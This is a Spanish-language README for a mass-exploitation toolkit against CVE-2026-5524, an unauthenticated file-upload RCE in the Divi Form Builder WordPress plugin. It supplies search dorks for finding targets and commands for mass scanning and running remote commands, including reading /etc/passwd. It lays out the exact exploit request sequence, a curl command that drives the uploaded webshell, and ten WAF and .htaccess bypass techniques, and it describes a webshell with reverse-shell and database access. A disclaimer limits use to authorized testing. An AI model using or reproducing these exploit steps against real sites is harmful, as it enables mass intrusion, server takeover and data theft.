Kit de herramientas de explotación masiva en Python para CVE-2026-5524, una RCE por carga de archivos no autenticada en el plugin Divi Form Builder de WordPress, con carga de webshell y ejecución de comandos.
| Campo | Valor |
|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Crítico) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Afectado | Divi Form Builder <= 5.1.8 |
| Parcheado | 5.1.9 |
| Tipo | Carga de archivos no autenticada a RCE |
| Investigador | 0xd4rk5id3 - EnvoraSec |
El plugin Divi Form Builder para WordPress contiene una vulnerabilidad de carga de archivos arbitrarios no autenticada. El manejador do_image_upload() pasa el parámetro POST acceptFileTypes controlado por el usuario directamente a una expresión regular utilizada para validar las extensiones de archivo. Al proporcionar un valor como phtml, un atacante puede eludir la regla .htaccess del plugin que solo bloquea la extensión .php y cargar un webshell con una extensión ejecutable por PHP (.phtml, .phar, .php5, .php7 y similares).
Una vez que el archivo llega a /wp-content/uploads/de_fb_uploads/, Apache lo ejecuta como PHP, otorgando al atacante ejecución remota de código como el usuario del servidor web.
El problema está corregido en Divi Form Builder 5.1.9.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
Requisitos: Python 3.8 o superior en Linux, macOS o WSL.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
Para objetivos detrás de un WAF (NinjaFirewall, Wordfence, ModSecurity) o con configuración de Apache o nginx endurecida.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
Tras una carga exitosa, el script puede ejecutar inmediatamente un comando o abrir una shell interactiva.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
| Flag | Descripción |
|---|---|
-u URL | URL de objetivo único |
-l FILE | Archivo que contiene la lista de objetivos, una URL por línea |
-t N | Número de hilos concurrentes (por defecto 10) |
--timeout N | Tiempo de espera de la solicitud en segundos (por defecto 15) |
-o FILE | Guardar resultados en un archivo de salida JSONL |
--proxy URL | Enrutar el tráfico a través de un proxy HTTP |
--nonce HASH | Usar un nonce proporcionado manualmente, omitir la autodetección |
--ext EXT | Forzar una única extensión en lugar de la lista completa de bypass |
--shell | Abrir una shell RCE interactiva en caso de éxito (solo objetivo único) |
--cmd CMD | Ejecutar un comando en el objetivo y luego salir |
--shell-file FILE | Cargar un payload de shell personalizado en lugar del integrado |
--no-verify | Omitir el paso de verificación de RCE posterior a la carga |
--strict-verify | Confirmar que la URL del shell devuelve HTTP 200 para filtrar falsos positivos |
--user-ini | Cargar un dropper .user.ini para entornos PHP-FPM |
--htaccess | Cargar un reactivador .htaccess para entornos Apache |
--aggressive | Habilitar todas las técnicas de bypass disponibles |
--null-byte | Incluir intentos con byte nulo y doble extensión |
--path-traversal | Intentar cargar en subdirectorios /uploads/YYYY/MM/ |
--debug | Imprimir respuestas HTTP sin procesar para diagnóstico |
El manejador vulnerable construye una expresión regular a partir de la entrada del usuario sin sanitización.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
Al enviar acceptFileTypes=phtml, la expresión regular resultante /\.(phtml)$/i coincide con nombres de archivo que terminan en .phtml, aunque el propio archivo .htaccess del plugin solo bloquea la extensión .php. Apache entonces ejecuta el archivo cargado como PHP, produciendo ejecución remota de código.
Rastrear una página que incruste un formulario de Divi Form Builder (/, /contact, /quote, etc). Añadir un parámetro ?nocache=<random> para eludir Varnish, WP Rocket y otras cachés de página que de otro modo servirían un nonce obsoleto.
Extraer el valor fb_nonce del objeto JavaScript localizado:
de_fb_obj = {"fb_nonce":"<10 caracteres hex>", ...}
Enviar por POST un formulario multipart a /wp-admin/admin-ajax.php con:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
Leer la URL del archivo desde la respuesta JSON:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
Solicitar el shell con un comando codificado en base64:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
| # | Técnica | Objetivos |
|---|---|---|
| 1 | Extensiones PHP alternativas .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | Regla .htaccess del plugin que solo bloquea .php |
| 2 | Variación de mayúsculas .PHTML, .PHP5, .PhTmL | Firmas de WAF sensibles a mayúsculas (NinjaFirewall) |
| 3 | Doble extensión .phtml.jpg, .php.jpg | Rarezas de negociación de contenido de mod_mime de Apache |
| 4 | Byte nulo .php%00.jpg, .phtml%00.txt | Versiones antiguas de PHP (inferiores a 5.3.4) y ciertos parsers |
| 5 | Espacio o punto final .php , .php. | Windows IIS y versiones antiguas de Apache |
| 6 | Suplantación de Content-Type application/octet-stream | WAFs que se basan en la cabecera Content-Type del multipart |
| 7 | Cargar un .htaccess real que reactive PHP para .gif, .png, .jpg, .txt, .html, etc. | Servidores Apache con AllowOverride All |
| 8 | Cargar un .user.ini con auto_prepend_file | Entornos PHP-FPM |
| 9 | Inyección de nombre de archivo mediante manipulación del límite multipart | Proxies y WAFs que reanalizan el cuerpo de la solicitud |
| 10 | Path traversal ../shell.phtml en el nombre de archivo | Restricciones de directorio del plugin |
El script prueba cada técnica en orden de prioridad y, cuando se establece --aggressive, intenta todas incluso después de que la primera carga informe éxito.
| Componente | Tecnología |
|---|---|
| Lenguaje | Python 3.8+ |
| Cliente HTTP | requests |
| Manejo de TLS | urllib3 en modo inseguro para certificados autofirmados |
| Concurrencia | concurrent.futures.ThreadPoolExecutor para escaneo masivo |
| Análisis | re para extracción de nonce, json para manejo de respuestas |
| Codificación | base64 para el parámetro de comando del webshell |
| CLI | argparse con 19 flags configurables |
| Componente | Tecnología |
|---|---|
| Lenguaje | PHP 7.0+ |
| Funciones de ejecución | system(), shell_exec(), proc_open(), passthru(), popen() |
| Interfaz | Formulario HTML simple, sin framework JavaScript |
| Características | Navegador de archivos, ejecución de comandos, acceso a base de datos, reverse shell, .htaccess y .user.ini autoinstalables |
| Tamaño | Aproximadamente 16 KB |
| Capas de bypass | Seis rutas de ejecución independientes más payloads codificados |
cve-2026-5524/
|-- CVE-2026-5524.py Script de explotación principal
|-- bypass.phtml Webshell PHP multicapa de 16 KB
|-- htaccess_enable.phtml Dropper que escribe un .htaccess reactivador
|-- user_ini.phtml Dropper que escribe un .user.ini para PHP-FPM
|-- targets.txt Lista de objetivos de ejemplo
|-- pwned.jsonl Generado por el flag -o durante escaneos masivos
|-- requirements.txt Dependencias de Python
`-- README.md Este documento
+--------------------------------------------------+
| 1. Reconocimiento |
| GET /?nocache=<random> |
| Parsear fb_nonce desde de_fb_obj |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. Elaborar exploit |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. El servidor acepta y almacena el archivo |
| /uploads/de_fb_uploads/<random>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. Ejecutar |
| GET shell.phtml?x=base64(command) |
| Ejecución remota de código lograda |
+--------------------------------------------------+
Esta herramienta se proporciona con fines educativos y para su uso durante pruebas de penetración autorizadas. Ejemplos de uso aceptable incluyen:
El uso no autorizado contra sistemas que no posee o para los que no tiene permiso explícito por escrito para probar es ilegal en prácticamente todas las jurisdicciones y está estrictamente prohibido. El autor no aprueba ni asume responsabilidad por el uso indebido de este código.
J'ai la permission et je suis autorisé à effectuer ce pentest. (Tengo permiso y estoy autorizado a realizar este pentest.)
Las leyes de probable relevancia incluyen la UU ITE de Indonesia, la Computer Fraud and Abuse Act de Estados Unidos, la Convención sobre Ciberdelincuencia de la Unión Europea y legislación equivalente en otros lugares. En caso de duda, obtenga autorización por escrito primero.
Solo para uso educativo. Consulte la sección de descargo de responsabilidad para conocer los términos de uso completos.